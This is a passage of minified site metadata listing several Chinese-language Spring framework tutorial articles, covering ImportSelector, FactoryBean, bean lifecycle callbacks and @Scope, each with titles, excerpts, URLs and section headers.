E5%8F%A3.html",relativePath:"md/core/spring/ioc/2022-04-04-008-深入理解Spring的ImportSelector接口.md",key:"v-484183a1",path:"/md/core/spring/ioc/2022-04-04-008-%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3Spring%E7%9A%84ImportSelector%E6%8E%A5%E5%8F%A3.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"ImportSelector接口概述",slug:"importselector接口概述"},{level:2,title:"ImportSelector接口探秘",slug:"importselector接口探秘"},{level:2,title:"自定义@EnableXXX注解",slug:"自定义-enablexxx注解"},{level:3,title:"创建实体类",slug:"创建实体类"},{level:3,title:"创建ImportSelector接口的实现类",slug:"创建importselector接口的实现类"},{level:3,title:"自定义@EnableSpringStudy注解",slug:"自定义-enablespringstudy注解"},{level:3,title:"创建配置类",slug:"创建配置类"},{level:2,title:"使用自定义@EnableXXX注解",slug:"使用自定义-enablexxx注解"},{level:2,title:"ImportSelector源码分析",slug:"importselector源码分析"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"【Spring注解驱动开发】在@Import注解中使用ImportSelector接口导入bean",frontmatter:{layout:"post",category:"binghe-spring-ioc",title:"【Spring注解驱动开发】在@Import注解中使用ImportSelector接口导入bean",tagline:"by 冰河",tag:["spring.spring-ioc","binghe-spring-ioc"],excerpt:"在上一篇关于Spring的@Import注解的文章《[【Spring注解驱动开发】使用@Import注解给容器中快速导入一个组件](https://mp.weixin.qq.com/s?__biz=Mzg3MzE1NTIzNA==&mid=2247484863&idx=1&sn=faca9edb10665d357089a290220ede2f&chksm=cee51a72f992936430364b018e07f062c2cb4bbe7111d0b615a1937215170976e5caf23a227b&token=1557037040&lang=zh_CN#rd)》中,我们简单介绍了如何使用@Import注解给容器中快速导入一个组件,而我们知道,@Import注解总共包含三种使用方法,分别为:直接填class数组方式;ImportSelector方法(重点);ImportBeanDefinitionRegistrar方式。那么,今天,我们就一起来学习关于@Import注解非常重要的第二种方式:ImportSelector方式。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"【Spring注解驱动开发】在@Import注解中使用ImportSelector接口导入bean"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/spring/ioc/2022-04-04-009-%E5%9C%A8@Import%E6%B3%A8%E8%A7%A3%E4%B8%AD%E4%BD%BF%E7%94%A8ImportSelector.html"},{name:"twitter:title",content:"【Spring注解驱动开发】在@Import注解中使用ImportSelector接口导入bean"},{name:"twitter:url",content:"/md/core/spring/ioc/2022-04-04-009-%E5%9C%A8@Import%E6%B3%A8%E8%A7%A3%E4%B8%AD%E4%BD%BF%E7%94%A8ImportSelector.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/spring/ioc/2022-04-04-009-%E5%9C%A8@Import%E6%B3%A8%E8%A7%A3%E4%B8%AD%E4%BD%BF%E7%94%A8ImportSelector.html",relativePath:"md/core/spring/ioc/2022-04-04-009-在@Import注解中使用ImportSelector.md",key:"v-42f82cc0",path:"/md/core/spring/ioc/2022-04-04-009-%E5%9C%A8@Import%E6%B3%A8%E8%A7%A3%E4%B8%AD%E4%BD%BF%E7%94%A8ImportSelector.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"ImportSelector接口概述",slug:"importselector接口概述"},{level:2,title:"ImportSelector接口实例",slug:"importselector接口实例"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"【Spring注解驱动开发】面试官:如何将Service注入到Servlet中?朋友又栽了!!",frontmatter:{layout:"post",category:"binghe-spring-ioc",title:"【Spring注解驱动开发】面试官:如何将Service注入到Servlet中?朋友又栽了!!",tagline:"by 冰河",tag:["spring.spring-ioc","binghe-spring-ioc"],excerpt:"最近,一位读者出去面试前准备了很久,信心满满的去面试。没想到面试官的一个问题把他难住了。面试官的问题是这样的:如何使用Spring将Service注入到Servlet中呢?这位读者平时也是很努力的,看什么源码啊、多线程啊、高并发啊、设计模式啊等等。没想到却在一个很简单的问题上栽了跟头,这就说明学习知识要系统化,要有条理,切忌东学一点,西记一点,否则,到头来,啥也学不到。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"【Spring注解驱动开发】面试官:如何将Service注入到Servlet中?朋友又栽了!!"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/spring/ioc/2022-04-04-010-%E5%A6%82%E4%BD%95%E5%B0%86Service%E6%B3%A8%E5%85%A5%E5%88%B0Servlet%E4%B8%AD.html"},{name:"twitter:title",content:"【Spring注解驱动开发】面试官:如何将Service注入到Servlet中?朋友又栽了!!"},{name:"twitter:url",content:"/md/core/spring/ioc/2022-04-04-010-%E5%A6%82%E4%BD%95%E5%B0%86Service%E6%B3%A8%E5%85%A5%E5%88%B0Servlet%E4%B8%AD.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/spring/ioc/2022-04-04-010-%E5%A6%82%E4%BD%95%E5%B0%86Service%E6%B3%A8%E5%85%A5%E5%88%B0Servlet%E4%B8%AD.html",relativePath:"md/core/spring/ioc/2022-04-04-010-如何将Service注入到Servlet中.md",key:"v-ff84c35a",path:"/md/core/spring/ioc/2022-04-04-010-%E5%A6%82%E4%BD%95%E5%B0%86Service%E6%B3%A8%E5%85%A5%E5%88%B0Servlet%E4%B8%AD.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"如何实现将Service注入到Servlet中??",slug:"如何实现将service注入到servlet中"},{level:3,title:"方法一:",slug:"方法一"},{level:3,title:"方法二:",slug:"方法二"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"【Spring注解驱动开发】在@Import注解中使用ImportBeanDefinitionRegistrar向容器中注册bean",frontmatter:{layout:"post",category:"binghe-spring-ioc",title:"【Spring注解驱动开发】在@Import注解中使用ImportBeanDefinitionRegistrar向容器中注册bean",tagline:"by 冰河",tag:["spring.spring-ioc","binghe-spring-ioc"],excerpt:"在前面的文章中,我们学习了如何使用@Import注解向Spring容器中导入bean,可以使用@Import注解快速向容器中导入bean,小伙伴们可以参见《[【Spring注解驱动开发】使用@Import注解给容器中快速导入一个组件](https://mp.weixin.qq.com/s?__biz=Mzg3MzE1NTIzNA==&mid=2247484863&idx=1&sn=faca9edb10665d357089a290220ede2f&chksm=cee51a72f992936430364b018e07f062c2cb4bbe7111d0b615a1937215170976e5caf23a227b&token=1611686244&lang=zh_CN#rd)》。可以在@Import注解中使用ImportSelector接口导入bean,小伙伴们可以参见《[【Spring注解驱动开发】在@Import注解中使用ImportSelector接口导入bean](https://mp.weixin.qq.com/s?__biz=Mzg3MzE1NTIzNA==&mid=2247484870&idx=1&sn=a371224a8c2b9f70a41ff88976d6b0e6&chksm=cee51a0bf992931d3e39ddf70061ac8de713c817ec6561075a740eb18c7269ce66d50459dd58&token=1611686244&lang=zh_CN#rd)》一文。今天,我们就来说说,如何在@Import注解中使用ImportBeanDefinitionRegistrar向容器中注册bean。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"【Spring注解驱动开发】在@Import注解中使用ImportBeanDefinitionRegistrar向容器中注册bean"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/spring/ioc/2022-04-04-011-%E4%BD%BF%E7%94%A8ImportBeanDefinitionRegistrar%E5%90%91%E5%AE%B9%E5%99%A8%E4%B8%AD%E6%B3%A8%E5%86%8Cbean.html"},{name:"twitter:title",content:"【Spring注解驱动开发】在@Import注解中使用ImportBeanDefinitionRegistrar向容器中注册bean"},{name:"twitter:url",content:"/md/core/spring/ioc/2022-04-04-011-%E4%BD%BF%E7%94%A8ImportBeanDefinitionRegistrar%E5%90%91%E5%AE%B9%E5%99%A8%E4%B8%AD%E6%B3%A8%E5%86%8Cbean.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/spring/ioc/2022-04-04-011-%E4%BD%BF%E7%94%A8ImportBeanDefinitionRegistrar%E5%90%91%E5%AE%B9%E5%99%A8%E4%B8%AD%E6%B3%A8%E5%86%8Cbean.html",relativePath:"md/core/spring/ioc/2022-04-04-011-使用ImportBeanDefinitionRegistrar向容器中注册bean.md",key:"v-302f0b9d",path:"/md/core/spring/ioc/2022-04-04-011-%E4%BD%BF%E7%94%A8ImportBeanDefinitionRegistrar%E5%90%91%E5%AE%B9%E5%99%A8%E4%B8%AD%E6%B3%A8%E5%86%8Cbean.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"ImportBeanDefinitionRegistrar概述",slug:"importbeandefinitionregistrar概述"},{level:3,title:"概述",slug:"概述"},{level:3,title:"使用方法",slug:"使用方法"},{level:2,title:"ImportBeanDefinitionRegistrar实例",slug:"importbeandefinitionregistrar实例"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"【String注解驱动开发】面试官让我说说:如何使用FactoryBean向Spring容器中注册bean?",frontmatter:{layout:"post",category:"binghe-spring-ioc",title:"【String注解驱动开发】面试官让我说说:如何使用FactoryBean向Spring容器中注册bean?",tagline:"by 冰河",tag:["spring.spring-ioc","binghe-spring-ioc"],excerpt:"在前面的文章中,我们知道可以通过多种方式向Spring容器中注册bean。可以使用@Configuration结合@Bean向Spring容器中注册bean;可以按照条件向Spring容器中注册bean;可以使用@Import向容器中快速导入bean对象;可以在@Import中使用ImportBeanDefinitionRegistrar向容器中注册bean。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"【String注解驱动开发】面试官让我说说:如何使用FactoryBean向Spring容器中注册bean?"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/spring/ioc/2022-04-04-012-%E4%BD%BF%E7%94%A8FactoryBean%E6%B3%A8%E5%86%8C%E5%90%91Spring%E5%AE%B9%E5%99%A8%E4%B8%AD%E6%B3%A8%E5%86%8Cbean.html"},{name:"twitter:title",content:"【String注解驱动开发】面试官让我说说:如何使用FactoryBean向Spring容器中注册bean?"},{name:"twitter:url",content:"/md/core/spring/ioc/2022-04-04-012-%E4%BD%BF%E7%94%A8FactoryBean%E6%B3%A8%E5%86%8C%E5%90%91Spring%E5%AE%B9%E5%99%A8%E4%B8%AD%E6%B3%A8%E5%86%8Cbean.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/spring/ioc/2022-04-04-012-%E4%BD%BF%E7%94%A8FactoryBean%E6%B3%A8%E5%86%8C%E5%90%91Spring%E5%AE%B9%E5%99%A8%E4%B8%AD%E6%B3%A8%E5%86%8Cbean.html",relativePath:"md/core/spring/ioc/2022-04-04-012-使用FactoryBean注册向Spring容器中注册bean.md",key:"v-7b63f51b",path:"/md/core/spring/ioc/2022-04-04-012-%E4%BD%BF%E7%94%A8FactoryBean%E6%B3%A8%E5%86%8C%E5%90%91Spring%E5%AE%B9%E5%99%A8%E4%B8%AD%E6%B3%A8%E5%86%8Cbean.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"FactoryBean概述",slug:"factorybean概述"},{level:2,title:"FactoryBean实例",slug:"factorybean实例"},{level:2,title:"如何在Spring容器中获取到FactoryBean对象?",slug:"如何在spring容器中获取到factorybean对象"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"【Spring注解驱动开发】如何使用@Bean注解指定初始化和销毁的方法?看这一篇够了!!",frontmatter:{layout:"post",category:"binghe-spring-ioc",title:"【Spring注解驱动开发】如何使用@Bean注解指定初始化和销毁的方法?看这一篇够了!!",tagline:"by 冰河",tag:["spring.spring-ioc","binghe-spring-ioc"],excerpt:"在【[String注解驱动开发专题](https://mp.weixin.qq.com/mp/appmsgalbum?action=getalbum&album_id=1393709600402374656&__biz=Mzg3MzE1NTIzNA==#wechat_redirect)】中,前面的文章我们主要讲了有关于如何向Spring容器中注册bean的知识,大家可以到【[String注解驱动开发专题](https://mp.weixin.qq.com/mp/appmsgalbum?action=getalbum&album_id=1393709600402374656&__biz=Mzg3MzE1NTIzNA==#wechat_redirect)】中系统学习。接下来,我们继续肝Spring,只不过从本篇文章开始,我们就进入Spring容器中有关Bean的生命周期的学习。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"【Spring注解驱动开发】如何使用@Bean注解指定初始化和销毁的方法?看这一篇够了!!"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/spring/ioc/2022-04-04-013-%E4%BD%BF%E7%94%A8@Bean%E6%B3%A8%E8%A7%A3%E6%8C%87%E5%AE%9A%E5%88%9D%E5%A7%8B%E5%8C%96%E5%92%8C%E9%94%80%E6%AF%81%E7%9A%84%E6%96%B9%E6%B3%95.html"},{name:"twitter:title",content:"【Spring注解驱动开发】如何使用@Bean注解指定初始化和销毁的方法?看这一篇够了!!"},{name:"twitter:url",content:"/md/core/spring/ioc/2022-04-04-013-%E4%BD%BF%E7%94%A8@Bean%E6%B3%A8%E8%A7%A3%E6%8C%87%E5%AE%9A%E5%88%9D%E5%A7%8B%E5%8C%96%E5%92%8C%E9%94%80%E6%AF%81%E7%9A%84%E6%96%B9%E6%B3%95.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/spring/ioc/2022-04-04-013-%E4%BD%BF%E7%94%A8@Bean%E6%B3%A8%E8%A7%A3%E6%8C%87%E5%AE%9A%E5%88%9D%E5%A7%8B%E5%8C%96%E5%92%8C%E9%94%80%E6%AF%81%E7%9A%84%E6%96%B9%E6%B3%95.html",relativePath:"md/core/spring/ioc/2022-04-04-013-使用@Bean注解指定初始化和销毁的方法.md",key:"v-09a2c2ec",path:"/md/core/spring/ioc/2022-04-04-013-%E4%BD%BF%E7%94%A8@Bean%E6%B3%A8%E8%A7%A3%E6%8C%87%E5%AE%9A%E5%88%9D%E5%A7%8B%E5%8C%96%E5%92%8C%E9%94%80%E6%AF%81%E7%9A%84%E6%96%B9%E6%B3%95.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"Bean的生命周期",slug:"bean的生命周期"},{level:2,title:"如何定义初始化和销毁方法?",slug:"如何定义初始化和销毁方法"},{level:2,title:"指定初始化和销毁方法的使用场景",slug:"指定初始化和销毁方法的使用场景"},{level:2,title:"初始化和销毁方法调用的时机",slug:"初始化和销毁方法调用的时机"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"【Spring注解驱动开发】使用InitializingBean和DisposableBean来管理bean的生命周期,你真的了解吗?",frontmatter:{layout:"post",category:"binghe-spring-ioc",title:"【Spring注解驱动开发】使用InitializingBean和DisposableBean来管理bean的生命周期,你真的了解吗?",tagline:"by 冰河",tag:["spring.spring-ioc","binghe-spring-ioc"],excerpt:"在《[【Spring注解驱动开发】如何使用@Bean注解指定初始化和销毁的方法?看这一篇就够了!!](https://mp.weixin.qq.com/s?__biz=Mzg3MzE1NTIzNA==&mid=2247484985&idx=1&sn=bf7ec702113f433f6677d0e9f4f5ae7d&chksm=cee519f4f99290e2c509926a61a7f9604d8a358cd364a78d6de7929f45b3b2a84f57b93f8f87&token=604767871&lang=zh_CN#rd)》一文中,我们讲述了如何使用@Bean注解来指定bean初始化和销毁的方法。具体的用法就是在@Bean注解中使用init-method属性和destroy-method属性来指定初始化方法和销毁方法。除此之外,Spring中是否还提供了其他的方式来对bean实例进行初始化和销毁呢?",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"【Spring注解驱动开发】使用InitializingBean和DisposableBean来管理bean的生命周期,你真的了解吗?"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/spring/ioc/2022-04-04-014-%E4%BD%BF%E7%94%A8InitializingBean%E5%92%8CDisposableBean%E6%9D%A5%E7%AE%A1%E7%90%86bean%E7%9A%84%E7%94%9F%E5%91%BD%E5%91%A8%E6%9C%9F.html"},{name:"twitter:title",content:"【Spring注解驱动开发】使用InitializingBean和DisposableBean来管理bean的生命周期,你真的了解吗?"},{name:"twitter:url",content:"/md/core/spring/ioc/2022-04-04-014-%E4%BD%BF%E7%94%A8InitializingBean%E5%92%8CDisposableBean%E6%9D%A5%E7%AE%A1%E7%90%86bean%E7%9A%84%E7%94%9F%E5%91%BD%E5%91%A8%E6%9C%9F.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/spring/ioc/2022-04-04-014-%E4%BD%BF%E7%94%A8InitializingBean%E5%92%8CDisposableBean%E6%9D%A5%E7%AE%A1%E7%90%86bean%E7%9A%84%E7%94%9F%E5%91%BD%E5%91%A8%E6%9C%9F.html",relativePath:"md/core/spring/ioc/2022-04-04-014-使用InitializingBean和DisposableBean来管理bean的生命周期.md",key:"v-797843fe",path:"/md/core/spring/ioc/2022-04-04-014-%E4%BD%BF%E7%94%A8InitializingBean%E5%92%8CDisposableBean%E6%9D%A5%E7%AE%A1%E7%90%86bean%E7%9A%84%E7%94%9F%E5%91%BD%E5%91%A8%E6%9C%9F.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"InitializingBean接口",slug:"initializingbean接口"},{level:3,title:"1.InitializingBean接口概述",slug:"_1-initializingbean接口概述"},{level:3,title:"2.何时调用InitializingBean接口?",slug:"_2-何时调用initializingbean接口"},{level:2,title:"DisposableBean接口",slug:"disposablebean接口"},{level:3,title:"1.DisposableBean接口概述",slug:"_1-disposablebean接口概述"},{level:3,title:"2.DisposableBean接口注意事项",slug:"_2-disposablebean接口注意事项"},{level:2,title:"单实例bean案例",slug:"单实例bean案例"},{level:2,title:"多实例bean案例",slug:"多实例bean案例"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"【String注解驱动开发】你了解@PostConstruct注解和@PreDestroy注解吗?",frontmatter:{layout:"post",category:"binghe-spring-ioc",title:"【String注解驱动开发】你了解@PostConstruct注解和@PreDestroy注解吗?",tagline:"by 冰河",tag:["spring.spring-ioc","binghe-spring-ioc"],excerpt:"在之前的文章中,我们介绍了如何使用@Bean注解指定初始化和销毁的方法,小伙伴们可以参见《[【Spring注解驱动开发】如何使用@Bean注解指定初始化和销毁的方法?看这一篇就够了!!](https://mp.weixin.qq.com/s?__biz=Mzg3MzE1NTIzNA==&mid=2247484985&idx=1&sn=bf7ec702113f433f6677d0e9f4f5ae7d&chksm=cee519f4f99290e2c509926a61a7f9604d8a358cd364a78d6de7929f45b3b2a84f57b93f8f87&token=1099992343&lang=zh_CN#rd)》,也介绍了使用InitializingBean和DisposableBean来处理bean的初始化和销毁,小伙伴们可以参见《[【Spring注解驱动开发】Spring中的InitializingBean和DisposableBean,你真的了解吗?](https://mp.weixin.qq.com/s?__biz=Mzg3MzE1NTIzNA==&mid=2247485001&idx=1&sn=251bd90d3b04f2bd56c9d24f9df39f81&chksm=cee51984f992909216b2ab3e723561776b5032393d30e6cdf99af1c4c08e8facb790ea16955e&token=1099992343&lang=zh_CN#rd)》。除此之外,在JDK中也提供了两个注解能够在bean加载到Spring容器之后执行和在bean销毁之前执行,今天,我们就一起来看看这两个注解的用法。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"【String注解驱动开发】你了解@PostConstruct注解和@PreDestroy注解吗?"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/spring/ioc/2022-04-04-015-@PostConstruct%E6%B3%A8%E8%A7%A3%E5%92%8C@PreDestroy%E6%B3%A8%E8%A7%A3.html"},{name:"twitter:title",content:"【String注解驱动开发】你了解@PostConstruct注解和@PreDestroy注解吗?"},{name:"twitter:url",content:"/md/core/spring/ioc/2022-04-04-015-@PostConstruct%E6%B3%A8%E8%A7%A3%E5%92%8C@PreDestroy%E6%B3%A8%E8%A7%A3.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/spring/ioc/2022-04-04-015-@PostConstruct%E6%B3%A8%E8%A7%A3%E5%92%8C@PreDestroy%E6%B3%A8%E8%A7%A3.html",relativePath:"md/core/spring/ioc/2022-04-04-015-@PostConstruct注解和@PreDestroy注解.md",key:"v-07741c6a",path:"/md/core/spring/ioc/2022-04-04-015-@PostConstruct%E6%B3%A8%E8%A7%A3%E5%92%8C@PreDestroy%E6%B3%A8%E8%A7%A3.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"@PostConstruct注解",slug:"postconstruct注解"},{level:2,title:"@PreDestroy注解",slug:"predestroy注解"},{level:2,title:"案例程序",slug:"案例程序"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"【Spring注解驱动开发】@PostConstruct与@PreDestroy源码的执行过程",frontmatter:{layout:"post",category:"binghe-spring-ioc",title:"【Spring注解驱动开发】@PostConstruct与@PreDestroy源码的执行过程",tagline:"by 冰河",tag:["spring.spring-ioc","binghe-spring-ioc"],excerpt:"在前面的《[【String注解驱动开发】你真的了解@PostConstruct注解和@PreDestroy注解吗?](https://mp.weixin.qq.com/s?__biz=Mzg3MzE1NTIzNA==&mid=2247485015&idx=1&sn=d9b98808a43f72655bf2be51270c4587&chksm=cee5199af992908c45e3801904013f17714b79dc60f6272c699361f7af4681f7ce3548fb8abf&token=1099992343&lang=zh_CN#rd)》一文中,我们简单的介绍了@PostConstruct注解与@PreDestroy注解的用法,有不少小伙伴纷纷留言说:在Spring中,@PostConstruct注解与@PreDestroy注解标注的方法是在哪里调用的呀?相信大家应该都挺好奇的吧,那今天我们就来一起分析下@PostConstruct注解与@PreDestroy注解的执行过程吧!",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"【Spring注解驱动开发】@PostConstruct与@PreDestroy源码的执行过程"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/spring/ioc/2022-04-04-016-@PostConstruct%E4%B8%8E@PreDestroy%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90.html"},{name:"twitter:title",content:"【Spring注解驱动开发】@PostConstruct与@PreDestroy源码的执行过程"},{name:"twitter:url",content:"/md/core/spring/ioc/2022-04-04-016-@PostConstruct%E4%B8%8E@PreDestroy%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/spring/ioc/2022-04-04-016-@PostConstruct%E4%B8%8E@PreDestroy%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90.html",relativePath:"md/core/spring/ioc/2022-04-04-016-@PostConstruct与@PreDestroy源码解析.md",key:"v-4a1ac0cc",path:"/md/core/spring/ioc/2022-04-04-016-@PostConstruct%E4%B8%8E@PreDestroy%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"注解说明",slug:"注解说明"},{level:2,title:"调用过程",slug:"调用过程"},{level:2,title:"调用分析",slug:"调用分析"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"【Spring注解驱动开发】使用@Scope注解设置组件的作用域",frontmatter:{layout:"post",category:"binghe-spring-ioc",title:"【Spring注解驱动开发】使用@Scope注解设置组件的作用域",tagline:"by 冰河",tag:["spring.spring-ioc","binghe-spring-ioc"],excerpt:"Spring容器中的组件默认是单例的,在Spring启动时就会实例化并初始化这些对象,将其放到Spring容器中,之后,每次获取对象时,直接从Spring容器中获取,而不再创建对象。如果每次从Spring容器中获取对象时,都要创建一个新的实例对象,该如何处理呢?此时就需要使用@Scope注解设置组件的作用域。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"【Spring注解驱动开发】使用@Scope注解设置组件的作用域"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/spring/ioc/2022-04-04-017-%E4%BD%BF%E7%94%A8@Scope%E6%B3%A8%E8%A7%A3%E8%AE%BE%E7%BD%AE%E7%BB%84%E4%BB%B6%E7%9A%84%E4%BD%9C%E7%94%A8%E5%9F%9F.html"},{name:"twitter:title",content:"【Spring注解驱动开发】使用@Scope注解设置组件的作用域"},{name:"twitter:url",content:"/md/core/spring/ioc/2022-04-04-017-%E4%BD%BF%E7%94%A8@Scope%E6%B3%A8%E8%A7%A3%E8%AE%BE%E7%BD%AE%E7%BB%84%E4%BB%B6%E7%9A%84%E4%BD%9C%E7%94%A8%E5%9F%9F.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/spring/ioc/2022-04-04-017-%E4%BD%BF%E7%94%A8@Scope%E6%B3%A8%E8%A7%A3%E8%AE%BE%E7%BD%AE%E7%BB%84%E4%BB%B6%E7%9A%84%E4%BD%9C%E7%94%A8%E5%9F%9F.html",relativePath:"md/core/spring/ioc/2022-04-04-017-使用@Scope注解设置组件的作用域.md",key:"v-5b592441",path:"/md/core/spring/ioc/2022-04-04-017-%E4%BD%BF%E7%94%A8@Scope%E6%B3%A8%E8%A7%A3%E8%AE%BE%E7%BD%AE%E7%BB%84%E4%BB%B6%E7%9A%84%E4%BD%9C%E7%94%A8%E5%9F%9F.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"本文内容概览",slug:"本文内容概览"},{level:2,title:"@Scope注解概述",slug:"scope注解概述"},{level:2,title:"单实例bean作用域",slug:"单实例bean作用域"},{level:2,title:"多实例bean作用域",slug:"多实例bean作用域"},{level:2,title:"单实例bean作用域何时创建对象?",slug:"单实例bean作用域何时创建对象"},{level:2,title:"多实例bean作用域何时创建对象?",slug:"多实例bean作用域何时创建对象"},{level:2,title:"单实例bean注意的事项",slug:"单实例bean注意的事项"},{level:2,title:"多实例bean注意的事项",slug:"多实例bean注意的事项"},{level:2,title:"自定义Scope",slug:"自定义scope"},{level:3,title:"1.如何实现自定义Scope",slug:"_1-如何实现自定义scope"},{level:3,title:"2.自定义Scope实现案例",slug:"_2-自定义scope实现案例"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"【String注解驱动开发】针对bean的生命周期,我们究竟能做哪些工作?",frontmatter:{layout:"post",category:"binghe-spring-ioc",title:"【String注解驱动开发】针对bean的生命周期,我们究竟能做哪些工作?",tagline:"by 冰河",tag:["spring.spring-ioc","binghe-spring-ioc"],excerpt:"在前面的文章中,我们讲述了BeanPostProcessor的postProcessBeforeInitialization()方法在bean的初始化之前调用,而postProcessAfterInitialization()方法在bean初始化之后调用,我们可以自定义类来实现BeanPostProcessor接口,并在postProcessBeforeInitialization()方法和postProcessAfterInitialization()方法中指定我们自定义的逻辑。至此,我们对bean的整个生命周期进行了简单的阐述,那么问题来了,针对bean的生命周期,我们究竟能做哪些工作呢?",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"【String注解驱动开发】针对bean的生命周期,我们究竟能做哪些工作?"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/spring/ioc/2022-04-04-018-%E9%92%88%E5%AF%B9bean%E7%9A%84%E7%94%9F%E5%91%BD%E5%91%A8%E6%9C%9F%EF%BC%8C%E6%88%91%E4%BB%AC%E8%83%BD%E5%81%9A%E5%93%AA%E4%BA%9B%E5%B7%A5%E4%BD%9C.html"},{name:"twitter:title",content:"【String注解驱动开发】针对bean的生命周期,我们究竟能做哪些工作?"},{name:"twitter:url",content:"/md/core/spring/ioc/2022-04-04-018-%E9%92%88%E5%AF%B9bean%E7%9A%84%E7%94%9F%E5%91%BD%E5%91%A8%E6%9C%9F%EF%BC%8C%E6%88%91%E4%BB%AC%E8%83%BD%E5%81%9A%E5%93%AA%E4%BA%9B%E5%B7%A5%E4%BD%9C.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/spring/ioc/2022-04-04-018-%E9%92%88%E5%AF%B9bean%E7%9A%84%E7%94%9F%E5%91%BD%E5%91%A8%E6%9C%9F%EF%BC%8C%E6%88%91%E4%BB%AC%E8%83%BD%E5%81%9A%E5%93%AA%E4%BA%9B%E5%B7%A5%E4%BD%9C.html",relativePath:"md/core/spring/ioc/2022-04-04-018-针对bean的生命周期,我们能做哪些工作.md",key:"v-2e244c52",path:"/md/core/spring/ioc/2022-04-04-018-%E9%92%88%E5%AF%B9bean%E7%9A%84%E7%94%9F%E5%91%BD%E5%91%A8%E6%9C%9F%EF%BC%8C%E6%88%91%E4%BB%AC%E8%83%BD%E5%81%9A%E5%93%AA%E4%BA%9B%E5%B7%A5%E4%BD%9C.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"bean的初始化和销毁",slug:"bean的初始化和销毁"},{level:3,title:"1.通过@Bean指定init-method和destroy-method",slug:"_1-通过-bean指定init-method和destroy-method"},{level:3,title:"2.通过让Bean实现InitializingBean(定义初始化逻辑)",slug:"_2-通过让bean实现initializingbean-定义初始化逻辑"},{level:3,title:"3.可以使用JSR250",slug:"_3-可以使用jsr250"},{level:3,title:"4.可以使用BeanPostProcessor",slug:"_4-可以使用beanpostprocessor"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 